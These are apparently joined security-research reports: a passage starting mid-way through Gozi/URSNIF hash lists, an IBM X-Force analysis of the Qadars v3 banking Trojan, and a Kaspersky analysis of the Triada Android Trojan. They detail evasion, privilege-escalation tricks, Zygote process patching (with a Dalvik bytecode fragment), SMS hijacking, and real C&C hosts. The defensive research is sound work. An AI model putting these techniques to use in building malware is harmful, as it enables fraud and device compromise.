module: `95921f6bde5e4d71fd4308822db46ce46b646d863037f89f236da7f0337c57d4` **Other campaign:** - Word document file: `371a81358595c639eb290516d763e2c9cfa1dda1506b0deb37c46504d31a79ea` - Dropped VBS: `4d345043c03c09212abef68d84a82102d8409157b00bf89d9dc6f4b98238927e` - Payload Gozi/URSNIF: `172f359baa478d80a9a8eccde0393e3fb8a58f0444a1b71d99d87c6a50855297` - Unpacked Sample: `17af05823ed53b5e794c3a5696326454d8f91ad6af4f33e2ffa4b780bfd17d98` - 32 bit DLL module: `7d7f03e772c0c2117923d82b4fff5bc20d03a5fff04d0605e1a35a04dd8be34c` - 64 bit DLL module: `cfadd9b071c80f75eb1eedcce8e697a9ac31334abc919e286336acc01c3db089` **Other campaign:** - 1st Stage JS Downloader: `9a44ff53471012328a3b167c149ed71c2e82b117de8f9463f5773b5b4f5cc7b6` - 2nd Stage Downloader: `827c1ce97229a99c9badfa79b144690c91314603f250696b80765ba8d9ad1423` - 3rd Stage Downloader: `d8bf69b386e80f3e4cc8c4d612900a38ca5b0f661be89cfcb3a0fe4999a96bf4` - Payload Gozi/URSNIF: `4f3926e686bfda88b28cd009d1a84396fc6e0bdc070a962f91da43fbde2a29c7` - Unpacked sample: `672c3cd4eb8a5e4dc974c8f14a23f23f5863c5fb8cc1043c49771de715259dde` - 32 bit DLL module: `92e2cefcd7c334cad5b7eac0c2c79392a4e959317cdc993420395919e19d71c5` - 64 bit DLL module: `579f53c1eda4fd18fb5265f399c67238da740059ae300374ee234866cc92f32f`
# Meanwhile in Britain, Qadars v3 Hardens Evasion, Targets 18 UK Banks IBM X-Force Research reported that the operators of the Qadars Trojan have been progressively updating the malware’s defenses and tailoring its configurations to target 18 banks in the U.K. In addition to its recent U.K. activity, the researchers found that Qadars campaigns launched in early September 2016 mainly targeted banks in the Netherlands, U.S., and Germany. This activity comes on the heels of an uptick of Ramnit Trojan attacks against U.K. banks. After a period of relatively low activity, during which cybercriminals shifted their focus to Germany, Brazil, and the U.S., it seems the U.K. is back on fraudsters’ radar. ## Qadars Makes the Rounds From a global perspective, Qadars’ operators have been making the rounds, targeting banks all over the world in separate bouts of online banking fraud attacks since 2013. By count of targeted brands, it appears the gang remains most inclined to attack in Europe. Between 2013 and 2014, the malware mainly targeted banks in France and the Netherlands. Its top targets between 2015 and 2016 were Australia, Canada, the U.S., and the Netherlands. This past year, Qadars operators focused primarily on Germany, Poland, the U.S., and the Netherlands. X-Force Research indicated that while most of Qadars’ targets have been banks, it is also after social networking credentials, online sports betting users, e-commerce platforms, payments, and card services, among others. Fueled by what appears to be experienced cybercrime factions, Qadars has been able to use advanced banking malware tactics ever since its early days, with capabilities such as: - Hooking the internet browser to monitor and manipulate user activity - Fetching web injections in real time from a remote server - Supplementing fraud scenarios with an SMS hijacking app - Orchestrating the full scope of fraudulent data theft and transaction operation through an automated transfer system (ATS) panel ATS is fraudster lingo for a remote, web-based platform that Trojans access on the fly. The ATS panel contains transaction automation scripts, web injections, preprogrammed transaction flow and parameters, transfer thresholds, and mule account numbers on which the malware relies to complete illicit online transactions. To steal two-factor authentication (2FA) codes from a user whose bank requires an out-of-band element, Qadars’ operators deployed the Perkele (iBanking) mobile bot as the malicious mobile component. In this case, Qadars even added the theft of codes from mobile devices to the ATS transaction orchestration flow. But Qadars didn’t just use Perkele on bank transactions; it also targeted Facebook users who secured their accounts with 2FA, HackRead reported. Qadars historically infects endpoints using exploit kits hosted on compromised hosts or domains purchased for the purpose of serving malware. The Trojan was also pushed to user endpoints via botnets, leveraging downloader-type malware. In current campaigns, Qadars leverages the Rig Exploit Kit via the EiTest campaign to infect users, facilitating its infiltration with downloader malware. ## Qadars v3 Hits the Ground Running Although Qadars emerged in 2013, it has not been widely documented compared to other advanced Trojans of its type. Under the hood, Qadars’ developers borrowed code and fraud-facilitating concepts from the Zeus and Carberp Trojans, both of which had their source code leaked publicly in the past few years, thereby enabling malware authors to reuse parts of the code. X-Force first detected Qadars v2 in October 2015. The present version, Qadars v3, was released in Q1 2016. Our researchers indicated that by May 2016, the malware’s developer released detailed update notes for v3, all written in Russian, noting which bug fixes and improvements were made to the code, admin panel, and ATS panel. The notes also provided information about browser and web injection updates. The release notes indicated that Qadars is an advanced online banking Trojan that comes from a single source. Its source programs all operational components and does not buy injection kits from outsourced developers. When Qadars v3 was detected in the wild, the malware’s operators dedicated a new attack configuration to targeting all the major banks in Australia. Qadars’ fraud tactics are enabled through: - Browser hooking (IE, Firefox) - Cookie and certificate theft - Form grabbing - Web injections - FIGrabbers and ATS - Use of the Tor client on the victim’s machine to hide malware communications - Use of domain generation algorithm (DGA) to hide remote malware resources (as of v3) In terms of attack methods, Qadars is capable of in-session fraud, remote-controlling the infected endpoint via virtual network computing (VNC), and performing a fraudulent transaction in real time when the user is logged on. Qadars can also collect victim credentials and use them in account takeover fraud at a later time and from a different device, depending on the targeted bank and the corresponding authentication challenges. ## Researching Qadars v3 Qadars v3 is continuously evolving. Yet another updated release in late August 2016 offered a new Qadars build with some code updates designed to evade detection, layer anti-research features, and improve the performance and readability of the malware’s web injection mechanisms. ### Double Obfuscation on Dynamic API Resolution Qadars’ new version obfuscates all of its Win32 API calls by employing a common trick often used by banking malware of this grade, such as URLZone, Dridex, and Neverquest. When the malware code starts to run and after the packer has completed its part, it dynamically resolves all the memory addresses of the APIs it’s going to use. Qadars contains hardcoded CRC32 values for all the function names it plans to use. This enables it to resolve the actual memory address of the function it will iterate over the export table of a particular system DLL and compare the CRC32 of the exported function name against the hardcoded one. If a match is found, Qadars saves the memory address of the function in a global variable. The malware adds a twist to this well-known dynamic API resolving method by XORing the hardcoded CRC32 values of the function names with another constant value that’s embedded in the binary itself. By employing this method, Qadars makes it a bit harder for scripts to find and annotate the actual Win32 APIs it uses. ### Internal Data Obfuscation In the current Qadars version, we analyzed all the strings and data inside the binary that are XORed with a constant value that’s embedded in the binary. Just before the malware uses a string or data, it first performs an inverse XOR operation on it. Moreover, the malware added a compression layer for the configurations it downloads from the command-and-control (C&C) server. The compression layer was likely added due to the fact that web injections, which are part of the configuration, have become larger and more sophisticated over time as more banks were added to the target list, making config files heavier and more easily detectable. While previous versions of the malware downloaded configurations that were only encrypted using an AES algorithm, the new version adds compression after the encryption phase. The configuration ultimately gets decompressed on the infected endpoint using aPLib, a compression library based on the algorithm used in aPACK. ### Trojan Modules Like other modular banking Trojans, such as Shifu, for example, Qadars v3 downloads a number of extra modules from its C&C server to perform the actual malicious activities. The malicious payload, or the MainModule, as it was named by the malware developer, is responsible for fetching those additional modules from the C&C. One of the MainModule’s tasks is to inject the other downloaded modules into specific Windows processes according to the functionality of each module. It is possible to tell what task each module carries out according to a text string found in each one briefly describing its purpose: - ModuleFailback_32.dll is injected into all processes and used as a watchdog to restart the malware in case of termination (persistence). - ModuleKeylogger_32.dll is injected into all processes to ensure data is keylogged properly. - ModuleBrowser_32.dll is injected into browser processes only. This module is used for downloading web injections from the C&C and for managing the actual web fraud. - ModuleVNC_32.dll is injected into browser processes for launching remote control. The names of the modules, as named by the developer of the malware, can be found in the DLL’s export ordinal table. The moduleBrowser_32.dll even contains the path of the pdb file used during the actual development. Additional changes in this version enrich the ability of the MainModule to download and use a Tor client to anonymize communications and covertly download modules from the C&C, ad hoc. ### Privilege Escalation Tricks To elevate its privileges on infected machines, Qadars’ dropper can opt to display a social engineering message prompting the user to download a new Windows security update. That fake message is used to influence the user into unknowingly accepting a UAC prompt and inadvertently granting Qadars admin rights. Once the user clicks the fake update notice window, the malware’s dropper runs itself again using the ShellExecuteEx Win32 API. This time, however, the system displays a UAC dialog to the user. The malware doesn’t give the user an option to cancel or close the fake update window. Basically, users will encounter the UAC prompt again and again until they approve it, at which point the malware is launched again, this time with a new, higher privilege level. ## Conclusion Qadars attack volumes, compared to Trojans like Neverquest or Dridex, are more humble. While it is not one of the top 10 financial malware threats on the global list, this Trojan has been flying under the radar for over three years, attacking banks in different regions using advanced features and capabilities. It’s possible that Qadars attack volumes remain limited because its operators choose to focus on specific countries in each of their infection sprees, likely to keep their operation focused and less visible. On the technical side, Qadars is an active and evolving malware project, as are other malicious codes of its type. In that sense, this threat is as advanced and problematic as other banking Trojans, such as Gozi, Tinba, or Ramnit. The language used in the Qadars v3 release notes suggests the malware developer is most likely a Russian-speaking black hat. Qadars’ operators are well-versed in orchestrating the malware infection operation by leveraging exploit kits, launching fraudulent transactions from infected endpoints, and circumventing 2FA by infecting victims’ mobile devices. Beyond the preprogrammed parts of its configuration files, Qadars relies on communication with remote servers and ATS panels to fetch money mule account numbers in real time. It also displays social engineering injections delivered from its servers in real time and can enable hidden remote control of infected machines to defraud their owners’ accounts. ## Malware IOCs ### Dropper MD5 Some MD5 hashes are: - 1979D1E5E9395025BC395BA00DF824CA - 236034B533B76A025AE353F3577DC298 - 26E2ECBDAEF376376141D5B42998D4CA - 394BED68BB412F26F8DF71874D346B9B - 63246F89F57498EDE2796169EA597DEF ### AV Detection Aliases Presently, Qadars may not be detected as such by all anti-virus software. Current aliases from top AV vendors detect the dropper’s executable sample as: - Win32/Sopinar.G - Trojan.Win32.Yakes.qpxg - BehavesLike.Win32.PWSZbot.dh - Heur.AdvML.B **Limor Kessem** Executive Security Advisor, IBM Limor Kessem is an Executive Security Advisor at IBM Security. She is a widely sought-after security expert, speaker, and author and a strong advocate for women in cybersecurity.
# Attack on Zygote: A New Twist in the Evolution of Mobile Threats **Authors** Nikita Buchka Mikhail Kuzin The story of the small Trojan that could! The main danger posed by apps that gain root access to a mobile device without the user’s knowledge is that they can provide access to far more advanced and dangerous malware with highly innovative architecture. We feared that Trojans obtaining unauthorized superuser privileges to install legitimate apps and display advertising would eventually start installing malware. And our worst fears have been realized: rooting malware has begun spreading the most sophisticated mobile Trojans we have ever seen. ## Rooting Malware In our previous article, we wrote about the increasing popularity of malware for Android that gains root access to a device and uses it to install apps and display aggressive advertising. Once this type of malicious program penetrates a device, it often becomes virtually impossible to use it due to the sheer number of annoying ads and installed apps. Since the first article (August 2015), things have changed for the worse – the number of malware families of this type has increased from four to 11, and they are spreading more actively and becoming much better at “rooting.” According to our estimates, Trojans with superuser privileges attacked about 10% of Android-based mobile devices in the second half of 2015. There were also cases of these programs being pre-installed on new mobile devices coming from China. However, it’s worth noting that Android-based devices running versions higher than 4.4.4 have much fewer vulnerabilities that can be exploited to gain root access. So basically, the malware targets earlier versions of the OS that are still installed on the majority of devices. The owners of the Trojans described above, such as Leech, Ztorg, Gorpo (as well as the new malware family Trojan.AndroidOS.Iop), are working together. Devices infected by these malicious programs usually form a kind of “advertising botnet” via which advertising Trojans distribute each other as well as the advertised apps. Within a few minutes of installing one of these Trojans, all other active malware on the “network” is enabled on the victim’s device. Cybercriminals are cashing in on advertising and installing legitimate applications. In 2015, this “advertising botnet” was used to distribute malware posing a direct threat to the user. This is how one of the most sophisticated mobile Trojans we have ever analyzed was spread. ## Unique Trojan The “advertising botnet” mentioned above was used to distribute a unique Trojan with the following features: - Modular functionality with active use of superuser privileges - Main part of malicious functionality exists in device RAM only - Trojan modifies Zygote system process in the memory to achieve persistence - Industrial approaches used in its development, suggesting its authors are highly qualified The Trojan is installed in the folder containing the system applications, under names that system applications are likely to have (e.g., AndroidGuardianship.apk, GoogleServerInfo.apk, USBUsageInfo.apk, etc.). Before starting work, the malicious program collects the following information: - Name of the device - Version of the operating system - Size of the SD card - Information about device memory (from the file /proc/mem) - IMEI - IMSI - List of applications installed The collected information is sent to the cybercriminals’ server whose address the Trojan receives from a list written in the code: - bridgeph2.zgxuanhao.com:8088 - bridgeph3.zgxuanhao.com:8088 - bridgeph4.zgxuanhao.com:8088 - bridgecr1.tailebaby.com:8088 - bridgecr2.tailebaby.com:8088 - bridgecr3.tailebaby.com:8088 - bridgecr4.tailebaby.com:8088 - bridgecr1.hanltlaw.com:8088 - bridgecr2.hanltlaw.com:8088 - bridgecr3.hanltlaw.com:8088 - bridgecr4.hanltlaw.com:8088 In reply, an encrypted configuration file arrives and is stored as /system/app/com.sms.server.socialgraphop.db. The configuration is regularly updated and contains the following fields: - mSericode – malware identifier - mDevicekey – the device identifier generated on the server (stored in /system/app/OPBKEY_<mDevicekey>); - mServerdevicekey – the current server identifier - mCD – information used by cybercriminals to adjust the behavior of the modules - mHeartbeat – execution interval for the “heartbeatRequest” interface - mInterval – interval at which requests are sent to the command server - mStartInterval – time after which the uploaded DEX files (modules) are run - mServerDomains – list of main domains - mCrashDomains – list of reserve domains - mModuleUpdate – links required to download the DEX files (modules) If the mModuleUpdate field is not filled, the DEX files are downloaded and saved. Then these files are downloaded in the context of the malicious program using DexClassLoader.loadClass(). After that, the modules are removed from the disk, i.e., they only remain in device memory, which seriously hampers their detection and removal by antivirus programs. The downloaded modules should have the following interface methods for proper execution: - init(Context context) – used to initialize the modules - exit(Context context) – used to complete the work of the modules - boardcastOnReceive(Context context, Intent intent) – used to redirect broadcast messages to the module - heartbeatRequest(Context context) – used to initiate the module request to the command server - heartbeatResponce(Context context, HashMap serverResponse) – used to deliver the command server response to the module Depending on the version, the following set of interfaces may be used: - init(Context context) – used to initialize the modules - exec() – used to execute the payload - exit(Context context) – used to complete the work of the modules This sort of mechanism allows the app downloader to execute modules implementing different functionality, as well as coordinating and synchronizing them. The apps and the loaded modules use the “android bin,” “conbb,” “configopb,” “feedback,” and “systemcore” files stored in the folder /system/bin to perform various actions on the system using superuser privileges. Considering the aforementioned modular architecture and privileged access to the device, the malware can create literally anything. The capabilities of the uploaded modules are limited only by the imagination and skills of the virus writers. These malicious programs (the app loader and the modules that it downloads) belong to different types of Trojans, but all of them were included in our antivirus databases under the name Triada. At the time of analysis, the app downloader (detected by us as Backdoor.AndroidOS.Triada) downloaded and activated the following modules: - OPBUpdate_3000/Calendar_1000 – two modules with duplicate functionality capable of downloading, installing, and running an application (detected as Trojan-Downloader.AndroidOS.Triada.a). - Registered_1000 – module capable of sending an SMS upon the request of the command server (detected as Trojan-SMS.AndroidOS.Triada.a). - Idleinfo_1000 – module that targets applications that use SMS to make in-app purchases (intercepts outgoing text messages) (detected as Trojan-Banker.AndroidOS.Triada.a). ## Use of the Zygote Process A distinctive feature of the malicious application is the use of the Zygote process to implement its code in the context of all the applications on the device. The Zygote process is the parent process for all Android applications. It contains system libraries and frameworks used by almost all applications. This process is a template for each new application, which means that once the Trojan enters the process, it becomes part of the template and will end up in each application run on the device. This is the first time we have come across this technique in the wild; Zygote was only previously used in proof-of-concepts. Let us take a closer look at how the Zygote process is infected. All the magic starts in the crackZygoteProcess() function from the Trojan-Banker module. First, the Trojan loads the shared library libconfigpppm.so and invokes the configPPP() function exported by this library. Second, if configPPP() succeeds in calling System.getProperty() from Android API with the unusual argument ‘pp.pp.pp’ and the returned value is not null, the Trojan runs the ELF-executable configpppi with the PID of the zygote process as an argument. Let’s go through the process in order. The first thing the Trojan does inside the configPPP() function from libconfigpppm.so is to obtain the load address (in the address space of its process) of the file that implements the ActivityThread.main() function from Android API. Next, using the load address and /proc/self/maps, the Trojan discovers the name and path to the file on the disk. In most cases, it will be /system/framework/framework.odex. The Trojan reads this file from disk and compares it with the file that is already loaded in the address space. The comparison is performed as follows: 1. The file is divided into 16 blocks; 2. The first 8 bytes of each block are read; 3. These 8-byte sequences are compared with the corresponding sequences from the file that loaded in memory. If the comparison fails, configPPP aborts its execution and returns a 103 error code. If the comparison succeeds, the Trojan starts patching framework.odex in memory. Then, the malware obtains the Class structure of ActivityThread (which is defined in framework.odex) by using dexFindClass and dexGetClassData functions. The authors of the malware copied these functions from Dalvik Virtual Machine. The structure contains various information about a dex class and is defined in AOSP. Using the structure, Triada iterates through a list of methods implemented in this class looking for a method named “main.” After the method has been found, the Trojan obtains its bytecode with the help of the dexGetCode function (also copied from open sources). When the bytecode is obtained, it is compared with the corresponding bytecode from the file on the disk, thereby checking if the framework has already been patched. If the method has already been patched, the malware aborts its execution and returns a 103 error code. After that, the Trojan starts looking for the first string in the DEX strings table that are between 32 and 64 symbols long. After a string has been found, the Trojan replaces it with “/system/lib/libconfigpppl.so” and saves its ID. Next, Triada accesses the DEX methods table and tries to obtain a method with one of the following names – “loop“, “attach” or “setArgV0“. It takes the first one that occurs in the table, or, if there are no methods with these names, the penultimate method from the DEX methods table, and replaces it with a standard System.load() method (one that loads shared libraries to process address space) and saves its ID. After these actions, the preparatory stage is complete, and the Trojan performs the actual patching. It modifies the memory of the process, adding the following instructions to the bytecode of the “main” method of the ActivityThread class: 1A 00 [strID, 2 bytes] //const-string v0, “/system/lib/libconfigpppl.so” 71 10 [methID, 2 bytes] 00 00 //invoke-static {v0}, Ljava/lang/System;->load(Ljava/lang/String;)V 0E 00 //return-void where strID is the saved ID of the replaced string, and methID is the saved ID of the replaced method. After these modifications, when ActivityThread.main() is called, it will automatically load the shared library “/system/lib/libconfigpppl.so” to the context of the caller process. But because framework.odex is only patched in the context of the Trojan process, the library will only be uploaded in the Trojan process. This seemingly meaningless action is performed in order to test the ability of the malicious program to modify the Zygote process. If the steps described above do not cause errors in the context of the application, they will not cause errors in the context of the system process. Such a complex operation as changing the Zygote address space has been approached very carefully by the attackers, since the slightest error in this process can result in immediate system failure. That is why the “test run” is performed to check the efficiency of the methods on the user’s device. At the end, configPPP() writes the following data to “/data/configppp/cpppimpt.db”: - ID of replaced string (4 bytes); - Content of replaced string (64 bytes); - ID of replaced method (4 bytes); - Pointer to the Method structure for replaced method (4 bytes); - Content of the Method structure for ActivityThread.main() (52 bytes); - Load address of framework.odex (4 bytes); - List of structures that contain (previously used for comparison, 192 bytes): 1. Pointer to the next block of framework.odex; 2. First 8 bytes of the block: - Size of framework.odex in memory (before patching) (4 bytes); - Pointer to the DexFile structure for framework.odex (4 bytes); - Content of the DexFile structure for framework.odex (44 bytes); - Pointer to the Method structure for System.load() (4 bytes); - Size of ActivityThread.main() bytecode before patching (4 bytes); - Bytecode of ActivityThread.main() before patching (variable). Finally, the Trojan calls the patched ActivityThread.main(), thus loading /system/lib/libconfigpppl.so in its address space. We will describe the purpose of this library after explaining the functionality of the configpppi ELF-executable that performs the actual modification of Zygote’s address space. ## Modification of the Zygote In fact, configpppi also patches ActivityThread.main() from framework.odex, but unlike libconfigpppm.so, it receives the PID of a process running on the system as an argument and performs patching in the context of this process. In this case, the Trojan patches the Zygote process. It uses information obtained at the previous stage (in libconfigpppm.so) and stored in /data/configppp/cpppimpt.db to modify the Zygote process via ptrace system calls. The Zygote process is a daemon whose purpose is to launch Android applications. It receives requests to launch an application through /dev/socket/zygote. Every launch request triggers a fork() call. When fork() occurs, the system creates a clone of the process – a child process that is a full copy of a parent. Zygote contains all the necessary system libraries and frameworks, so every new Android application will receive everything it needs to execute. This means every application is a child of the Zygote process and after patching, every new application will receive framework.odex modified by the Trojan (with libconfigpppl.so injected). In other words, libconfigpppl.so ends up in all new apps and can modify how they work. This opens up a wide range of opportunities for the cybercriminals. ## Substitution of Standard Android Framework Features When the shared library /system/lib/libconfigpppl.so is loaded inside the Zygote by System.load(), the system invokes its JNI_OnLoad() function. First, the Trojan restores the string and method replaced earlier by /system/lib/libconfigpppm.so or configpppi, using the information from /data/configppp/cpppimpt.db. Second, Triada loads the DEX file configpppl.jar. This is done with the help of a standard Android API via dalvik.system.DexClassLoader. To ensure that DEX is successfully loaded, the Trojan calls its method pppMain from the PPPMain class. This method only outputs to logcat string “PPP main started.” The next stage is to prepare hooks for some methods from Android Framework (framework.odex). The malware checks if everything necessary for hook methods exists in configpppl.jar (it uses the internal checkPackageMethodExits() method for this). The Trojan then prepares hooks for the following methods: 1. java.lang.System.getProperty() 2. android.app.Instrumentation.newApplication() 3. com.android.internal.telephony.SMSDispatcher.dispatchPdus() 4. android.app.ActivityManager.getRunningServices() 5. android.app.ActivityManager.getRunningAppProcesses() 6. android.app.ApplicationPackageManager.getInstalledPackages() 7. android.app.ApplicationPackageManager.getInstalledApplications() The hooks are placed using the standard RegisterNatives() function. This function is designed to perform binding Java methods with their native implementation (i.e., written with C/C++). Thus, the Trojan substitutes standard methods from Android Framework with methods implemented in libconfigpppl.so. ## Verifying the Success of a Zygote Modification The function which substitutes the original getProperty() first checks its argument. If the argument is the “pp.pp.pp” string, then the function immediately returns “true.” Otherwise, it calls the original getProperty() with its passed argument. Calling the hooked getProperty() with “pp.pp.pp” as an argument is used to check whether or not hooking of Android Framework functions was successful. If the hooked getProperty() returned “true,” then the Trojan will start configpppi ELF with the PID of the Zygote process as an argument. After that, the Trojan “kills” processes of the applications: “com.android.phone,” “com.android.settings,” “com.android.mms.” These are the standard “Phone,” “Settings,” and “Messaging” – applications that are the Trojan’s primary targets. The system starts these apps automatically the next time the device is unblocked. After they start, they will contain framework.odex with all the hooks placed by libconfigpppl.so. ## Modification of Outgoing Text Messages The function which substitutes newApplication() first calls the original function, and then invokes two functions from configpppl.jar: onModuleCreate() and onModuleInit(). The function onModuleCreate() checks in the context of the application it is running and then sets the global variable mMainAppType according to the results of checking: - If function is running within com.android.phone, then mMainAppType set to 1; - If function is running within com.android.settings or com.android.mms, then mMainAppType set to 2; - If function is running within one of these apps: com.android.system.google.server.info, com.android.system.guardianship.info.server, com.android.sys.op, com.android.system.op., com.android.system.kylin., com.android.kylines, com.android.email, com.android.contacts, android.process.media, com.android.launcher, com.android.browser, then mMainAppType set to -1; - If function is running within any other application, then mMainAppType set to 0; Depending on the value of mMainAppType, the function onModuleInit() calls one of the initialization routines. Thus, the Trojan tracks its host application and changes its behavior accordingly. For example, if mMainAppType is set to -1 (i.e., the host application is com.android.email, com.android.contacts, etc.), the Trojan does nothing. If the host application is com.android.phone, Triada registers broadcast receivers for the intents with actions com.ops.sms.core.broadcast.request.status and com.ops.sms.core.broadcast.back.open.gprs.network. It first sets the global variable mLastSmsShieldStatusTime to the current date and time, then turns on mobile network data (GPRS Internet). If the host application is com.android.settings or com.android.mms, Triada registers broadcast receivers for the intents with the following actions: - com.ops.sms.core.broadcast.request.status; - com.ops.sms.core.broadcast.back.open.gprs.network; - com.ops.sms.core.broadcast.back.send.sms.address. The first two are the same as in the previous case, and the third sends an SMS, which is passed off as extra intent data. If the host application is any other app (apart from apps that trigger mMainAppType = -1), then Triada first checks whether or not the application uses the shared library libsmsiap.so. Depending on the result, it calls one of the following functions: PISmsCore.invokeMMMain() or PISmsCore.invokeOtherMain(). Both functions invoke the PISmsCore.initInstance() method which performs the following actions: 1. Initialization of the Trojan’s global variables with various information about the infected device (IMEI, IMSI, etc.); 2. Substitution of the system binders “isms” and “isms2,” which are used by the parent application along with its own ones; 3. Creation of multiple directories /sdcard/Android/com/register/, used for write log and configuration files; 4. Registration of broadcast receivers for intents with the actions com.ops.sms.core.broadcast.responce.shield.status and com.ops.sms.core.broadcast.responce.sms.send.status, which simply set the corresponding variables to record the time of an event; 5. If a function is invoked from PISmsCore.invokeMMMain(), then a new thread is created. This thread enters an endless loop and turns on mobile network data, and won’t let the user turn it off. The most interesting action among the above is the substitution of the system binders “isms” and “isms2.” Binder is an Android-specific inter-process communication mechanism, and remote method invocation system. All communication between client and server applications within Binder pass through a special Linux device driver – /dev/binder. For example, when an application wants to send an SMS it calls the sendTextMessage (or sendMultipartTextMessage) function, which in fact leads to the transact() method of an “isms” (or “isms2”) binder object being called. The transact() method is redefined in the malicious “isms” binder realization, replacing the original. So, when the parent application of the Trojan sends an SMS it leads to the call of the malicious transact() method. In this method, the Trojan obtains SMS data (destination number, message text, service center number) from raw PDU. Then, if a network connection is available, it sends this data to a random C&C server from the following list: - bridgeph2.zgxuanhao.com:8088 - bridgeph3.zgxuanhao.com:8088 - bridgeph4.zgxuanhao.com:8088 - bridgecr1.tailebaby.com:8088 - bridgecr2.tailebaby.com:8088 - bridgecr3.tailebaby.com:8088 - bridgecr4.tailebaby.com:8088 - bridgecr1.hanltlaw.com:8088 - bridgecr2.hanltlaw.com:8088 - bridgecr3.hanltlaw.com:8088 - bridgecr4.hanltlaw.com:8088 The C&C server should respond with some data that, among other things, contains a new SMS destination address (number) and new SMS text. If a network connection is not available, then the Trojan tries to find the appropriate data in the local configuration files that are stored in the /sdcard/Android/com/register/localuseinfo/ directory in encrypted form. The Trojan then replaces the SMS destination address and the SMS text of the original message (obtained from C&C or local configuration files), and tries to send it in three different ways (simultaneously): 1. Via the standard Android API function sendTextMessage. It will lead to the same malicious transact() method of the Trojan “isms” binder realization; 2. By sending an intent with the action “com.ops.sms.core.broadcast.back.send.sms.address.” It will be received and processed by the same Trojan module but inside the “Messaging” or “Settings” application; 3. By passing the new SMS destination address and new SMS text to the original “isms” binder transact() method. When the Trojan sends an SMS in one of these ways, it saves the new SMS destination address and new SMS text in a special variable. And, before sending the new SMS, it checks if it has not already been sent. This helps to prevent endless recursive calls of the transact() method, meaning only one SMS will be sent per originally sent message (by the parent application). Besides the PISmsCore.initInstance() function, PISmsCore.invokeMMMain() calls another function – PIMMCrack.initInstance(). This method tries to determine which version of mm.sms.purchasesdk the host application is using (the Trojan knows for sure that the host application is using this SDK, because it has checked for libsmsiap.so, which is part of this SDK). mm.sms.purchasesdk is the SDK of Chinese origin – it is used by app developers for enabling In-App purchasing via SMS. Thus, the mechanism described in this chapter allows the Trojan to modify outgoing SMS messages that are sent by other applications. We presume that the Trojan authors use this opportunity to secretly steal users’ money. For example, when a user buys something in some Android game shop, and if this game uses SDK for in-app purchases via SMS (such as mm.sms.purchasesdk), the Trojan’s authors are likely to modify the outgoing SMS so as to receive the user’s money instead of the game developers. The user doesn’t notice that his money has been stolen; instead, he presumes he hasn’t received the appropriate content and will then complain to the game developers. ## Filtration of Incoming Text Messages The original dispatchPdus() is used to dispatch PDUs (Protocol Data Unit, low-level data entity used in many communication protocols) of incoming SMS messages to the corresponding broadcast intent. Then, all applications that subscribed for the intent are able to receive and process, according to their needs, the text message that is contained in the form of PDUs inside of this intent. The function which substitutes dispatchPdus() invokes the moduleDispatchPdus() method from configpppl.jar. It checks the host application and if the application is not com.android.phone, it informs and broadcasts to all apps in the system intent with the action android.provider.Telephony.SMS_RECEIVED (along with the received PDUs). This standard intent informs all other applications (e.g., “Messaging” or “Hangouts” of the incoming SMS). If the host for the malware is com.android.phone, then Triada checks the originating address and message body of the incoming SMS. The information that the Trojan needs to check is contained within two directories: /sdcard/Android/com/register/infowaitreceive/ and /sdcard/Android/com/register/historyInfo/. The names of the files that are stored in these directories contain postfix, which signifies the date and time of the last response from the C&C. If these files were updated earlier than the last response was received, the Trojan deletes these files and aborts the checking of the incoming SMS. Otherwise, the malware decrypts all the files from the directories mentioned above and extracts phone numbers and keywords from them to perform filtering. If the SMS was received from one of these numbers or the message contains at least one keyword, the Trojan broadcasts an intent with the action android.provider.Telephony.SMS_RECEIVEDcom.android.sms.core along with the message. This is an intent with a custom action and only those applications that explicitly subscribe to this intent will receive it. There are no such applications on “clean” Android devices. In addition, this method could be used to organize “exclusive” message distribution for Triada modules. If some of the new modules subscribe to the intent with the action android.provider.Telephony.SMS_RECEIVEDcom.android.sms.core, they will receive the filtered message exclusively, without any other applications on the system knowing about it. ## Concealing Trojan Modules from the List of Running Services This function is used to obtain a list of all running services. The Trojan substitutes the function to hide its modules from this list. The following modules will be excluded from the list received from the original getRunningServices(): - com.android.system.google.server.info - com.android.system.guardianship.info.server - com.android.sys.op - com.android.system.op. - com.android.system.kylin. - com.android.kylines. ## Concealing Trojan Modules from the List of Running Applications This function is used to obtain a list of all running applications. The Trojan substitutes the function to hide its modules from this list. The following modules will be excluded from the list received from the original getRunningAppProcesses(): - com.android.system.google.server.info - com.android.system.guardianship.info.server - com.android.sys.op - com.android.system.op. - com.android.system.kylin. - com.android.kylines. ## Concealing Trojan Modules from the List of Installed Packages This function is used to obtain a list of all installed packages for applications. The Trojan substitutes the function to hide its modules from this list. The following modules will be excluded from the list received from the original getInstalledPackages(): - com.android.system.google.server.info - com.android.system.guardianship.info.server - com.android.sys.op - com.android.system.op. - com.android.system.kylin. - com.android.kylines. ## Conclusion Applications that gain root access to a mobile device without the user’s knowledge can provide access to much more advanced and dangerous malware, in particular, to Triada, the most sophisticated mobile Trojans we know. Once Triada is on a device, it penetrates almost all the running processes and continues to exist in the memory only. In addition, all separately running Trojan processes are hidden from the user and other applications. As a result, it is extremely difficult for both the user and antivirus solutions to detect and remove the Trojan. The main function of the Trojan is to redirect financial SMS transactions when the user makes online payments to buy additional content in legitimate apps. The money goes to the attackers rather than to the software developer. Depending on whether or not the user gets the content he pays for, the Trojan either steals the money from the user (if the user does not receive the content) or from the legitimate software developers (if the user receives the content). Triada has clearly been designed by cybercriminals who know the targeted mobile platform very well. The range of techniques used by the Trojan is not found in any other known mobile malware. The methods of concealing and achieving persistence used by Triada can effectively avoid detection and removal of all malware components after installation on the infected device; the modular architecture allows attackers to extend and alter the functionality so they are limited only by the capabilities of the operating system and applications installed on the device. Since the malware penetrates all applications installed on the system, the cybercriminals can potentially modify their logic to implement new attack vectors against users and maximize their profits. Triada is as complex as any malware for Windows, which marks a kind of Rubicon in the evolution of threats targeting Android. Whereas previously, the majority of Trojans for the platform were relatively primitive, new threats with a high level of technical complexity have now come to the fore.
